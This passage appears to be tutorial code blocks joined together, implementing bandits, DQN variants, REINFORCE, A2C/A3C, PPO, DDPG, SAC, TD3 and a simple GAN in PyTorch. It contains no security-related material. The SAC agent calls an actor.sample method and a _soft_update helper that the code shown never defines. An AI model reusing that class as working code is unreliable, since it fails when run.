        # Critic loss (value function)
        critic_loss = F.mse_loss(value, torch.tensor([td_target]))

        # Total loss
        loss = actor_loss + critic_loss

        # Update
        self.optimizer.zero_grad()
        loss.backward()
        self.optimizer.step()

        return loss.item()

class EpsilonGreedyBandit:
    def __init__(self, n_arms, epsilon=0.1):
        self.n_arms = n_arms
        self.epsilon = epsilon
        self.q_values = np.zeros(n_arms)  # Estimated action values
        self.action_counts = np.zeros(n_arms)  # Number of times each action selected

    def select_action(self):
        """Epsilon-greedy action selection"""
        if np.random.random() < self.epsilon:
            return np.random.randint(self.n_arms)
        else:
            return np.argmax(self.q_values)

    def update(self, action, reward):
        """Update Q-value estimate"""
        self.action_counts[action] += 1
        alpha = 1 / self.action_counts[action]
        self.q_values[action] += alpha * (reward - self.q_values[action])

# Test bandit
true_rewards = [0.1, 0.5, 0.3, 0.7, 0.2]
bandit = EpsilonGreedyBandit(n_arms=5, epsilon=0.1)

total_reward = 0
for t in range(1000):
    action = bandit.select_action()
    reward = true_rewards[action] + np.random.normal(0, 0.1)
    bandit.update(action, reward)
    total_reward += reward

print(f"True rewards: {true_rewards}")
print(f"Estimated rewards: {bandit.q_values}")
print(f"Total reward: {total_reward:.2f}")

class UCBBandit:
    def __init__(self, n_arms, c=2):
        self.n_arms = n_arms
        self.c = c
        self.q_values = np.zeros(n_arms)
        self.action_counts = np.zeros(n_arms)
        self.t = 0

    def select_action(self):
        """UCB action selection"""
        self.t += 1

        # Select each arm at least once
        if 0 in self.action_counts:
            return np.argmin(self.action_counts)

        # UCB formula
        ucb_values = self.q_values + self.c * np.sqrt(np.log(self.t) / self.action_counts)
        return np.argmax(ucb_values)

    def update(self, action, reward):
        """Update Q-value estimate"""
        self.action_counts[action] += 1
        alpha = 1 / self.action_counts[action]
        self.q_values[action] += alpha * (reward - self.q_values[action])

import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import numpy as np
from collections import deque, namedtuple
import random

# Q-Network
class QNetwork(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dims=[128, 128]):
        super(QNetwork, self).__init__()

        layers = []
        prev_dim = state_dim

        for hidden_dim in hidden_dims:
            layers.append(nn.Linear(prev_dim, hidden_dim))
            layers.append(nn.ReLU())
            prev_dim = hidden_dim

        layers.append(nn.Linear(prev_dim, action_dim))
        self.network = nn.Sequential(*layers)

    def forward(self, state):
        return self.network(state)

# Experience Replay Buffer
class ReplayBuffer:
    def __init__(self, capacity=100000):
        self.buffer = deque(maxlen=capacity)
        self.experience = namedtuple('Experience', 
                                    ['state', 'action', 'reward', 'next_state', 'done'])

    def push(self, state, action, reward, next_state, done):
        self.buffer.append(self.experience(state, action, reward, next_state, done))

    def sample(self, batch_size):
        experiences = random.sample(self.buffer, batch_size)

        states = torch.FloatTensor([e.state for e in experiences])
        actions = torch.LongTensor([e.action for e in experiences])
        rewards = torch.FloatTensor([e.reward for e in experiences])
        next_states = torch.FloatTensor([e.next_state for e in experiences])
        dones = torch.FloatTensor([e.done for e in experiences])

        return states, actions, rewards, next_states, dones

    def __len__(self):
        return len(self.buffer)

# DQN Agent
class DQNAgent:
    def __init__(self, state_dim, action_dim, lr=0.001, gamma=0.99, 
                 epsilon=1.0, epsilon_decay=0.995, epsilon_min=0.01,
                 buffer_size=100000, batch_size=64, target_update_freq=10):
        self.state_dim = state_dim
        self.action_dim = action_dim
        self.gamma = gamma
        self.epsilon = epsilon
        self.epsilon_decay = epsilon_decay
        self.epsilon_min = epsilon_min
        self.batch_size = batch_size
        self.target_update_freq = target_update_freq

        # Q-Networks
        self.q_network = QNetwork(state_dim, action_dim)
        self.target_network = QNetwork(state_dim, action_dim)
        self.target_network.load_state_dict(self.q_network.state_dict())

        self.optimizer = optim.Adam(self.q_network.parameters(), lr=lr)
        self.replay_buffer = ReplayBuffer(buffer_size)

        self.steps = 0

    def select_action(self, state, training=True):
        """Epsilon-greedy action selection"""
        if training and random.random() < self.epsilon:
            return random.randint(0, self.action_dim - 1)

        with torch.no_grad():
            state = torch.FloatTensor(state).unsqueeze(0)
            q_values = self.q_network(state)
            return q_values.argmax(1).item()

    def train_step(self):
        """Single training step"""
        if len(self.replay_buffer) < self.batch_size:
            return None

        # Sample batch
        states, actions, rewards, next_states, dones = self.replay_buffer.sample(self.batch_size)

        # Current Q values
        current_q_values = self.q_network(states).gather(1, actions.unsqueeze(1)).squeeze()

        # Target Q values
        with torch.no_grad():
            next_q_values = self.target_network(next_states).max(1)[0]
            target_q_values = rewards + (1 - dones) * self.gamma * next_q_values

        # Compute loss
        loss = F.mse_loss(current_q_values, target_q_values)

        # Optimize
        self.optimizer.zero_grad()
        loss.backward()
        torch.nn.utils.clip_grad_norm_(self.q_network.parameters(), 1.0)
        self.optimizer.step()

        # Update target network
        self.steps += 1
        if self.steps % self.target_update_freq == 0:
            self.target_network.load_state_dict(self.q_network.state_dict())

        # Decay epsilon
        self.epsilon = max(self.epsilon_min, self.epsilon * self.epsilon_decay)

        return loss.item()

    def train(self, env, num_episodes=1000, max_steps=1000):
        """Train the agent"""
        episode_rewards = []

        for episode in range(num_episodes):
            state = env.reset()
            total_reward = 0

            for step in range(max_steps):
                # Select and perform action
                action = self.select_action(state, training=True)
                next_state, reward, done, _ = env.step(action)

                # Store transition
                self.replay_buffer.push(state, action, reward, next_state, done)

                # Train
                loss = self.train_step()

                state = next_state
                total_reward += reward

                if done:
                    break

            episode_rewards.append(total_reward)

            if (episode + 1) % 10 == 0:
                avg_reward = np.mean(episode_rewards[-10:])
                print(f"Episode {episode+1}, Avg Reward: {avg_reward:.2f}, "
                      f"Epsilon: {self.epsilon:.3f}")

        return episode_rewards

class DoubleDQNAgent(DQNAgent):
    def train_step(self):
        """Double DQN training step"""
        if len(self.replay_buffer) < self.batch_size:
            return None

        states, actions, rewards, next_states, dones = self.replay_buffer.sample(self.batch_size)

        # Current Q values
        current_q_values = self.q_network(states).gather(1, actions.unsqueeze(1)).squeeze()

        # Double DQN: use online network to select actions, target network to evaluate
        with torch.no_grad():
            # Select actions using online network
            next_actions = self.q_network(next_states).argmax(1)
            # Evaluate using target network
            next_q_values = self.target_network(next_states).gather(1, next_actions.unsqueeze(1)).squeeze()
            target_q_values = rewards + (1 - dones) * self.gamma * next_q_values

        # Compute loss
        loss = F.mse_loss(current_q_values, target_q_values)

        # Optimize
        self.optimizer.zero_grad()
        loss.backward()
        torch.nn.utils.clip_grad_norm_(self.q_network.parameters(), 1.0)
        self.optimizer.step()

        # Update target network
        self.steps += 1
        if self.steps % self.target_update_freq == 0:
            self.target_network.load_state_dict(self.q_network.state_dict())

        self.epsilon = max(self.epsilon_min, self.epsilon * self.epsilon_decay)

        return loss.item()

class DuelingQNetwork(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dim=128):
        super(DuelingQNetwork, self).__init__()

        # Feature extraction
        self.feature = nn.Sequential(
            nn.Linear(state_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU()
        )

        # Value stream
        self.value_stream = nn.Sequential(
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, 1)
        )

        # Advantage stream
        self.advantage_stream = nn.Sequential(
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, action_dim)
        )

    def forward(self, state):
        features = self.feature(state)
        value = self.value_stream(features)
        advantages = self.advantage_stream(features)

        # Q(s,a) = V(s) + (A(s,a) - mean(A(s,a)))
        q_values = value + (advantages - advantages.mean(dim=1, keepdim=True))
        return q_values

class PrioritizedReplayBuffer:
    def __init__(self, capacity=100000, alpha=0.6):
        self.capacity = capacity
        self.alpha = alpha
        self.buffer = []
        self.priorities = np.zeros(capacity, dtype=np.float32)
        self.position = 0

    def push(self, state, action, reward, next_state, done):
        max_priority = self.priorities.max() if self.buffer else 1.0

        if len(self.buffer) < self.capacity:
            self.buffer.append((state, action, reward, next_state, done))
        else:
            self.buffer[self.position] = (state, action, reward, next_state, done)

        self.priorities[self.position] = max_priority
        self.position = (self.position + 1) % self.capacity

    def sample(self, batch_size, beta=0.4):
        if len(self.buffer) == self.capacity:
            priorities = self.priorities
        else:
            priorities = self.priorities[:self.position]

        # Calculate sampling probabilities
        probabilities = priorities ** self.alpha
        probabilities /= probabilities.sum()

        # Sample indices
        indices = np.random.choice(len(self.buffer), batch_size, p=probabilities)

        # Importance sampling weights
        total = len(self.buffer)
        weights = (total * probabilities[indices]) ** (-beta)
        weights /= weights.max()

        # Get experiences
        experiences = [self.buffer[idx] for idx in indices]
        states = torch.FloatTensor([e[0] for e in experiences])
        actions = torch.LongTensor([e[1] for e in experiences])
        rewards = torch.FloatTensor([e[2] for e in experiences])
        next_states = torch.FloatTensor([e[3] for e in experiences])
        dones = torch.FloatTensor([e[4] for e in experiences])
        weights = torch.FloatTensor(weights)

        return states, actions, rewards, next_states, dones, indices, weights

    def update_priorities(self, indices, priorities):
        for idx, priority in zip(indices, priorities):
            self.priorities[idx] = priority

    def __len__(self):
        return len(self.buffer)

class PolicyNetwork(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dim=128):
        super(PolicyNetwork, self).__init__()

        self.network = nn.Sequential(
            nn.Linear(state_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, action_dim),
            nn.Softmax(dim=-1)
        )

    def forward(self, state):
        return self.network(state)

class ValueNetwork(nn.Module):
    def __init__(self, state_dim, hidden_dim=128):
        super(ValueNetwork, self).__init__()

        self.network = nn.Sequential(
            nn.Linear(state_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, 1)
        )

    def forward(self, state):
        return self.network(state)

class REINFORCEWithBaseline:
    def __init__(self, state_dim, action_dim, lr=0.001, gamma=0.99):
        self.gamma = gamma

        self.policy_net = PolicyNetwork(state_dim, action_dim)
        self.value_net = ValueNetwork(state_dim)

        self.policy_optimizer = optim.Adam(self.policy_net.parameters(), lr=lr)
        self.value_optimizer = optim.Adam(self.value_net.parameters(), lr=lr)

        self.saved_log_probs = []
        self.saved_values = []
        self.rewards = []

    def select_action(self, state):
        state = torch.FloatTensor(state).unsqueeze(0)

        # Get action probabilities and value
        probs = self.policy_net(state)
        value = self.value_net(state)

        # Sample action
        action_dist = torch.distributions.Categorical(probs)
        action = action_dist.sample()

        # Save log prob and value
        self.saved_log_probs.append(action_dist.log_prob(action))
        self.saved_values.append(value)

        return action.item()

    def train_step(self):
        R = 0
        returns = []

        # Calculate returns
        for r in reversed(self.rewards):
            R = r + self.gamma * R
            returns.insert(0, R)

        returns = torch.tensor(returns)
        returns = (returns - returns.mean()) / (returns.std() + 1e-8)

        policy_losses = []
        value_losses = []

        # Calculate losses
        for log_prob, value, R in zip(self.saved_log_probs, self.saved_values, returns):
            advantage = R - value.item()

            # Policy loss (REINFORCE with baseline)
            policy_losses.append(-log_prob * advantage)

            # Value loss
            value_losses.append(F.mse_loss(value, torch.tensor([[R]])))

        # Update policy network
        self.policy_optimizer.zero_grad()
        policy_loss = torch.stack(policy_losses).sum()
        policy_loss.backward()
        self.policy_optimizer.step()

        # Update value network
        self.value_optimizer.zero_grad()
        value_loss = torch.stack(value_losses).sum()
        value_loss.backward()
        self.value_optimizer.step()

        # Clear saved values
        self.saved_log_probs = []
        self.saved_values = []
        self.rewards = []

        return policy_loss.item(), value_loss.item()

class ActorCritic(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dim=128):
        super(ActorCritic, self).__init__()

        # Shared layers
        self.shared = nn.Sequential(
            nn.Linear(state_dim, hidden_dim),
            nn.ReLU()
        )

        # Actor head
        self.actor = nn.Sequential(
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, action_dim),
            nn.Softmax(dim=-1)
        )

        # Critic head
        self.critic = nn.Sequential(
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, 1)
        )

    def forward(self, state):
        shared_features = self.shared(state)
        action_probs = self.actor(shared_features)
        state_value = self.critic(shared_features)
        return action_probs, state_value

class A2CAgent:
    def __init__(self, state_dim, action_dim, lr=0.001, gamma=0.99, 
                 value_coef=0.5, entropy_coef=0.01):
        self.gamma = gamma
        self.value_coef = value_coef
        self.entropy_coef = entropy_coef

        self.model = ActorCritic(state_dim, action_dim)
        self.optimizer = optim.Adam(self.model.parameters(), lr=lr)

    def select_action(self, state):
        state = torch.FloatTensor(state).unsqueeze(0)
        action_probs, state_value = self.model(state)

        action_dist = torch.distributions.Categorical(action_probs)
        action = action_dist.sample()

        return action.item(), action_dist.log_prob(action), action_dist.entropy(), state_value

    def train_step(self, states, actions, rewards, next_states, dones):
        """Train on a batch of experiences"""
        states = torch.FloatTensor(states)
        actions = torch.LongTensor(actions)
        rewards = torch.FloatTensor(rewards)
        next_states = torch.FloatTensor(next_states)
        dones = torch.FloatTensor(dones)

        # Get action probabilities and values
        action_probs, values = self.model(states)
        _, next_values = self.model(next_states)

        # Calculate advantages
        td_targets = rewards + (1 - dones) * self.gamma * next_values.squeeze()
        advantages = td_targets - values.squeeze()

        # Actor loss
        action_dist = torch.distributions.Categorical(action_probs)
        log_probs = action_dist.log_prob(actions)
        actor_loss = -(log_probs * advantages.detach()).mean()

        # Critic loss
        critic_loss = F.mse_loss(values.squeeze(), td_targets.detach())

        # Entropy bonus (encourages exploration)
        entropy = action_dist.entropy().mean()

        # Total loss
        loss = actor_loss + self.value_coef * critic_loss - self.entropy_coef * entropy

        # Optimize
        self.optimizer.zero_grad()
        loss.backward()
        torch.nn.utils.clip_grad_norm_(self.model.parameters(), 0.5)
        self.optimizer.step()

        return loss.item(), actor_loss.item(), critic_loss.item(), entropy.item()

import torch.multiprocessing as mp

class A3CAgent:
    def __init__(self, state_dim, action_dim, lr=0.001, gamma=0.99):
        self.state_dim = state_dim
        self.action_dim = action_dim
        self.gamma = gamma

        # Global network (shared across workers)
        self.global_model = ActorCritic(state_dim, action_dim)
        self.global_model.share_memory()

        self.optimizer = optim.Adam(self.global_model.parameters(), lr=lr)

    def worker(self, worker_id, env_fn, num_episodes=1000):
        """Worker process for A3C"""
        local_model = ActorCritic(self.state_dim, self.action_dim)
        env = env_fn()

        for episode in range(num_episodes):
            state = env.reset()
            done = False

            states, actions, rewards = [], [], []

            while not done:
                # Sync local model with global model
                local_model.load_state_dict(self.global_model.state_dict())

                # Select action
                state_tensor = torch.FloatTensor(state).unsqueeze(0)
                action_probs, _ = local_model(state_tensor)
                action_dist = torch.distributions.Categorical(action_probs)
                action = action_dist.sample()

                # Take action
                next_state, reward, done, _ = env.step(action.item())

                # Store transition
                states.append(state)
                actions.append(action.item())
                rewards.append(reward)

                state = next_state

                # Update global network periodically
                if len(states) >= 20 or done:
                    self._update_global(local_model, states, actions, rewards, next_state, done)
                    states, actions, rewards = [], [], []

    def _update_global(self, local_model, states, actions, rewards, next_state, done):
        """Update global network using local gradients"""
        states_tensor = torch.FloatTensor(states)
        actions_tensor = torch.LongTensor(actions)

        # Calculate returns
        R = 0
        if not done:
            _, next_value = local_model(torch.FloatTensor(next_state).unsqueeze(0))
            R = next_value.item()

        returns = []
        for r in reversed(rewards):
            R = r + self.gamma * R
            returns.insert(0, R)
        returns = torch.FloatTensor(returns)

        # Calculate loss
        action_probs, values = local_model(states_tensor)
        action_dist = torch.distributions.Categorical(action_probs)
        log_probs = action_dist.log_prob(actions_tensor)

        advantages = returns - values.squeeze()
        actor_loss = -(log_probs * advantages.detach()).mean()
        critic_loss = advantages.pow(2).mean()
        entropy = action_dist.entropy().mean()

        loss = actor_loss + 0.5 * critic_loss - 0.01 * entropy

        # Update global network
        self.optimizer.zero_grad()
        loss.backward()

        # Transfer gradients to global network
        for local_param, global_param in zip(local_model.parameters(), 
                                             self.global_model.parameters()):
            if global_param.grad is None:
                global_param.grad = local_param.grad
            else:
                global_param.grad += local_param.grad

        self.optimizer.step()

    def train(self, env_fn, num_workers=4, num_episodes=1000):
        """Train using multiple parallel workers"""
        processes = []

        for worker_id in range(num_workers):
            p = mp.Process(target=self.worker, args=(worker_id, env_fn, num_episodes))
            p.start()
            processes.append(p)

        for p in processes:
            p.join()

class PPOAgent:
    def __init__(self, state_dim, action_dim, lr=0.0003, gamma=0.99, 
                 epsilon=0.2, value_coef=0.5, entropy_coef=0.01, 
                 epochs=10, batch_size=64):
        self.gamma = gamma
        self.epsilon = epsilon
        self.value_coef = value_coef
        self.entropy_coef = entropy_coef
        self.epochs = epochs
        self.batch_size = batch_size

        self.model = ActorCritic(state_dim, action_dim)
        self.optimizer = optim.Adam(self.model.parameters(), lr=lr)

        # Storage for rollouts
        self.states = []
        self.actions = []
        self.rewards = []
        self.values = []
        self.log_probs = []
        self.dones = []

    def select_action(self, state):
        """Select action using current policy"""
        state_tensor = torch.FloatTensor(state).unsqueeze(0)

        with torch.no_grad():
            action_probs, value = self.model(state_tensor)

        action_dist = torch.distributions.Categorical(action_probs)
        action = action_dist.sample()
        log_prob = action_dist.log_prob(action)

        return action.item(), log_prob.item(), value.item()

    def store_transition(self, state, action, reward, log_prob, value, done):
        """Store transition in buffer"""
        self.states.append(state)
        self.actions.append(action)
        self.rewards.append(reward)
        self.log_probs.append(log_prob)
        self.values.append(value)
        self.dones.append(done)

    def compute_gae(self, next_value, gamma=0.99, lam=0.95):
        """Compute Generalized Advantage Estimation"""
        advantages = []
        gae = 0

        values = self.values + [next_value]

        for t in reversed(range(len(self.rewards))):
            delta = self.rewards[t] + gamma * values[t + 1] * (1 - self.dones[t]) - values[t]
            gae = delta + gamma * lam * (1 - self.dones[t]) * gae
            advantages.insert(0, gae)

        returns = [adv + val for adv, val in zip(advantages, self.values)]

        return advantages, returns

    def update(self, next_state):
        """PPO update"""
        # Get next value for GAE
        with torch.no_grad():
            next_state_tensor = torch.FloatTensor(next_state).unsqueeze(0)
            _, next_value = self.model(next_state_tensor)
            next_value = next_value.item()

        # Compute advantages and returns
        advantages, returns = self.compute_gae(next_value)

        # Convert to tensors
        states = torch.FloatTensor(self.states)
        actions = torch.LongTensor(self.actions)
        old_log_probs = torch.FloatTensor(self.log_probs)
        advantages = torch.FloatTensor(advantages)
        returns = torch.FloatTensor(returns)

        # Normalize advantages
        advantages = (advantages - advantages.mean()) / (advantages.std() + 1e-8)

        # PPO update for multiple epochs
        for _ in range(self.epochs):
            # Get current policy
            action_probs, values = self.model(states)
            action_dist = torch.distributions.Categorical(action_probs)
            log_probs = action_dist.log_prob(actions)
            entropy = action_dist.entropy()

            # Ratio for clipping
            ratio = torch.exp(log_probs - old_log_probs)

            # Clipped surrogate objective
            surr1 = ratio * advantages
            surr2 = torch.clamp(ratio, 1 - self.epsilon, 1 + self.epsilon) * advantages
            actor_loss = -torch.min(surr1, surr2).mean()

            # Value loss
            critic_loss = F.mse_loss(values.squeeze(), returns)

            # Entropy bonus
            entropy_loss = -entropy.mean()

            # Total loss
            loss = actor_loss + self.value_coef * critic_loss + self.entropy_coef * entropy_loss

            # Update
            self.optimizer.zero_grad()
            loss.backward()
            torch.nn.utils.clip_grad_norm_(self.model.parameters(), 0.5)
            self.optimizer.step()

        # Clear buffers
        self.states = []
        self.actions = []
        self.rewards = []
        self.values = []
        self.log_probs = []
        self.dones = []

        return loss.item()

class Actor(nn.Module):
    def __init__(self, state_dim, action_dim, max_action, hidden_dim=256):
        super(Actor, self).__init__()

        self.network = nn.Sequential(
            nn.Linear(state_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, action_dim),
            nn.Tanh()
        )
        self.max_action = max_action

    def forward(self, state):
        return self.max_action * self.network(state)

class Critic(nn.Module):
    def __init__(self, state_dim, action_dim, hidden_dim=256):
        super(Critic, self).__init__()

        self.network = nn.Sequential(
            nn.Linear(state_dim + action_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, 1)
        )

    def forward(self, state, action):
        return self.network(torch.cat([state, action], dim=1))

class DDPGAgent:
    def __init__(self, state_dim, action_dim, max_action, lr=0.001, 
                 gamma=0.99, tau=0.005, noise_std=0.1):
        self.gamma = gamma
        self.tau = tau
        self.noise_std = noise_std
        self.max_action = max_action

        # Actor networks
        self.actor = Actor(state_dim, action_dim, max_action)
        self.actor_target = Actor(state_dim, action_dim, max_action)
        self.actor_target.load_state_dict(self.actor.state_dict())
        self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=lr)

        # Critic networks
        self.critic = Critic(state_dim, action_dim)
        self.critic_target = Critic(state_dim, action_dim)
        self.critic_target.load_state_dict(self.critic.state_dict())
        self.critic_optimizer = optim.Adam(self.critic.parameters(), lr=lr)

        self.replay_buffer = ReplayBuffer()

    def select_action(self, state, training=True):
        """Select action with optional exploration noise"""
        state = torch.FloatTensor(state).unsqueeze(0)

        with torch.no_grad():
            action = self.actor(state).cpu().numpy()[0]

        if training:
            noise = np.random.normal(0, self.noise_std, size=action.shape)
            action = np.clip(action + noise, -self.max_action, self.max_action)

        return action

    def train_step(self, batch_size=64):
        """Single DDPG training step"""
        if len(self.replay_buffer) < batch_size:
            return None, None

        # Sample batch
        states, actions, rewards, next_states, dones = self.replay_buffer.sample(batch_size)

        # Update critic
        with torch.no_grad():
            next_actions = self.actor_target(next_states)
            target_q = self.critic_target(next_states, next_actions)
            target_q = rewards.unsqueeze(1) + (1 - dones.unsqueeze(1)) * self.gamma * target_q

        current_q = self.critic(states, actions)
        critic_loss = F.mse_loss(current_q, target_q)

        self.critic_optimizer.zero_grad()
        critic_loss.backward()
        self.critic_optimizer.step()

        # Update actor
        actor_loss = -self.critic(states, self.actor(states)).mean()

        self.actor_optimizer.zero_grad()
        actor_loss.backward()
        self.actor_optimizer.step()

        # Soft update target networks
        self._soft_update(self.actor, self.actor_target)
        self._soft_update(self.critic, self.critic_target)

        return actor_loss.item(), critic_loss.item()

    def _soft_update(self, source, target):
        """Soft update of target network"""
        for source_param, target_param in zip(source.parameters(), target.parameters()):
            target_param.data.copy_(
                self.tau * source_param.data + (1 - self.tau) * target_param.data
            )

class SACAgent:
    def __init__(self, state_dim, action_dim, max_action, lr=0.0003, 
                 gamma=0.99, tau=0.005, alpha=0.2):
        self.gamma = gamma
        self.tau = tau
        self.alpha = alpha  # Temperature parameter
        self.max_action = max_action

        # Actor (stochastic policy)
        self.actor = Actor(state_dim, action_dim, max_action)
        self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=lr)

        # Two Q-functions (critics)
        self.critic_1 = Critic(state_dim, action_dim)
        self.critic_2 = Critic(state_dim, action_dim)
        self.critic_1_optimizer = optim.Adam(self.critic_1.parameters(), lr=lr)
        self.critic_2_optimizer = optim.Adam(self.critic_2.parameters(), lr=lr)

        # Target critics
        self.critic_1_target = Critic(state_dim, action_dim)
        self.critic_2_target = Critic(state_dim, action_dim)
        self.critic_1_target.load_state_dict(self.critic_1.state_dict())
        self.critic_2_target.load_state_dict(self.critic_2.state_dict())

        self.replay_buffer = ReplayBuffer()

    def train_step(self, batch_size=256):
        """SAC training step"""
        if len(self.replay_buffer) < batch_size:
            return None

        states, actions, rewards, next_states, dones = self.replay_buffer.sample(batch_size)

        # Update critics
        with torch.no_grad():
            next_actions, next_log_probs = self.actor.sample(next_states)
            target_q1 = self.critic_1_target(next_states, next_actions)
            target_q2 = self.critic_2_target(next_states, next_actions)
            target_q = torch.min(target_q1, target_q2) - self.alpha * next_log_probs
            target_q = rewards.unsqueeze(1) + (1 - dones.unsqueeze(1)) * self.gamma * target_q

        current_q1 = self.critic_1(states, actions)
        current_q2 = self.critic_2(states, actions)

        critic_1_loss = F.mse_loss(current_q1, target_q)
        critic_2_loss = F.mse_loss(current_q2, target_q)

        self.critic_1_optimizer.zero_grad()
        critic_1_loss.backward()
        self.critic_1_optimizer.step()

        self.critic_2_optimizer.zero_grad()
        critic_2_loss.backward()
        self.critic_2_optimizer.step()

        # Update actor
        new_actions, log_probs = self.actor.sample(states)
        q1 = self.critic_1(states, new_actions)
        q2 = self.critic_2(states, new_actions)
        q = torch.min(q1, q2)

        actor_loss = (self.alpha * log_probs - q).mean()

        self.actor_optimizer.zero_grad()
        actor_loss.backward()
        self.actor_optimizer.step()

        # Soft update target networks
        self._soft_update(self.critic_1, self.critic_1_target)
        self._soft_update(self.critic_2, self.critic_2_target)

        return actor_loss.item(), critic_1_loss.item(), critic_2_loss.item()

class TD3Agent(DDPGAgent):
    def __init__(self, state_dim, action_dim, max_action, lr=0.001, 
                 gamma=0.99, tau=0.005, policy_noise=0.2, 
                 noise_clip=0.5, policy_delay=2):
        super().__init__(state_dim, action_dim, max_action, lr, gamma, tau)

        # Twin critics
        self.critic_2 = Critic(state_dim, action_dim)
        self.critic_2_target = Critic(state_dim, action_dim)
        self.critic_2_target.load_state_dict(self.critic_2.state_dict())
        self.critic_2_optimizer = optim.Adam(self.critic_2.parameters(), lr=lr)

        self.policy_noise = policy_noise
        self.noise_clip = noise_clip
        self.policy_delay = policy_delay
        self.total_iterations = 0

    def train_step(self, batch_size=64):
        """TD3 training step"""
        self.total_iterations += 1

        if len(self.replay_buffer) < batch_size:
            return None, None

        states, actions, rewards, next_states, dones = self.replay_buffer.sample(batch_size)

        # Update critics
        with torch.no_grad():
            # Target policy smoothing
            noise = torch.randn_like(actions) * self.policy_noise
            noise = torch.clamp(noise, -self.noise_clip, self.noise_clip)

            next_actions = self.actor_target(next_states)
            next_actions = torch.clamp(next_actions + noise, -self.max_action, self.max_action)

            # Twin Q targets
            target_q1 = self.critic_target(next_states, next_actions)
            target_q2 = self.critic_2_target(next_states, next_actions)
            target_q = torch.min(target_q1, target_q2)
            target_q = rewards.unsqueeze(1) + (1 - dones.unsqueeze(1)) * self.gamma * target_q

        current_q1 = self.critic(states, actions)
        current_q2 = self.critic_2(states, actions)

        critic_1_loss = F.mse_loss(current_q1, target_q)
        critic_2_loss = F.mse_loss(current_q2, target_q)

        self.critic_optimizer.zero_grad()
        critic_1_loss.backward()
        self.critic_optimizer.step()

        self.critic_2_optimizer.zero_grad()
        critic_2_loss.backward()
        self.critic_2_optimizer.step()

        # Delayed policy updates
        actor_loss = None
        if self.total_iterations % self.policy_delay == 0:
            # Update actor
            actor_loss = -self.critic(states, self.actor(states)).mean()

            self.actor_optimizer.zero_grad()
            actor_loss.backward()
            self.actor_optimizer.step()

            # Soft update target networks
            self._soft_update(self.actor, self.actor_target)
            self._soft_update(self.critic, self.critic_target)
            self._soft_update(self.critic_2, self.critic_2_target)

        return actor_loss.item() if actor_loss else None, critic_1_loss.item()

min_G max_D V(D,G) = E_x[log D(x)] + E_z[log(1 - D(G(z)))]

import torch
import torch.nn as nn
import torch.optim as optim
import torchvision
import torchvision.transforms as transforms
from torch.utils.data import DataLoader

# Generator Network
class Generator(nn.Module):
    def __init__(self, latent_dim=100, img_shape=(1, 28, 28)):
        super(Generator, self).__init__()
        self.img_shape = img_shape

        def block(in_feat, out_feat, normalize=True):
            layers = [nn.Linear(in_feat, out_feat)]
            if normalize:
                layers.append(nn.BatchNorm1d(out_feat))
            layers.append(nn.LeakyReLU(0.2))
            return layers

        self.model = nn.Sequential(
            *block(latent_dim, 128, normalize=False),
            *block(128, 256),
            *block(256, 512),
            *block(512, 1024),
            nn.Linear(1024, int(np.prod(img_shape))),
            nn.Tanh()
        )

    def forward(self, z):
        img = self.model(z)
        img = img.view(img.size(0), *self.img_shape)
        return img

# Discriminator Network
class Discriminator(nn.Module):
    def __init__(self, img_shape=(1, 28, 28)):
        super(Discriminator, self).__init__()

        self.model = nn.Sequential(
            nn.Linear(int(np.prod(img_shape)), 512),
            nn.LeakyReLU(0.2),
            nn.Dropout(0.3),
            nn.Linear(512, 256),
            nn.LeakyReLU(0.2),
            nn.Dropout(0.3),
            nn.Linear(256, 1),
            nn.Sigmoid()
        )

    def forward(self, img):
        img_flat = img.view(img.size(0), -1)
        validity = self.model(img_flat)
        return validity

# Training GAN
class GANTrainer:
    def __init__(self, generator, discriminator, latent_dim=100, 
                 lr=0.0002, betas=(0.5, 0.999)):
        self.generator = generator
        self.discriminator = discriminator
        self.latent_dim = latent_dim

        # Optimizers
        self.optimizer_G = optim.Adam(generator.parameters(), lr=lr, betas=betas)
        self.optimizer_D = optim.Adam(discriminator.parameters(), lr=lr, betas=betas)

        # Loss function
        self.adversarial_loss = nn.BCELoss()

    def train_step(self, real_imgs):
        batch_size = real_imgs.size(0)

        # Adversarial ground truths
        valid = torch.ones(batch_size, 1)
        fake = torch.zeros(batch_size, 1)

        # ---------------------
        #  Train Discriminator
        # ---------------------
        self.optimizer_D.zero_grad()

        # Loss for real images
        real_loss = self.adversarial_loss(self.discriminator(real_imgs), valid)

        # Loss for fake images
        z = torch.randn(batch_size, self.latent_dim)
        fake_imgs = self.generator(z)
        fake_loss = self.adversarial_loss(self.discriminator(fake_imgs.detach()), fake)

        # Total discriminator loss
        d_loss = (real_loss + fake_loss) / 2
        d_loss.backward()
        self.optimizer_D.step()

        # -----------------
        #  Train Generator
        # -----------------
        self.optimizer_G.zero_grad()

        # Generate fake images
        z = torch.randn(batch_size, self.latent_dim)
        gen_imgs = self.generator(z)

        # Generator loss (fool discriminator)
        g_loss = self.adversarial_loss(self.discriminator(gen_imgs), valid)
        g_loss.backward()
        self.optimizer_G.step()

        return d_loss.item(), g_loss.item()

    def train(self, dataloader, num_epochs=100):
        """Train GAN"""
        for epoch in range(num_epochs):
            for i, (imgs, _) in enumerate(dataloader):
                d_loss, g_loss = self.train_step(imgs)

                if i % 100 == 0:
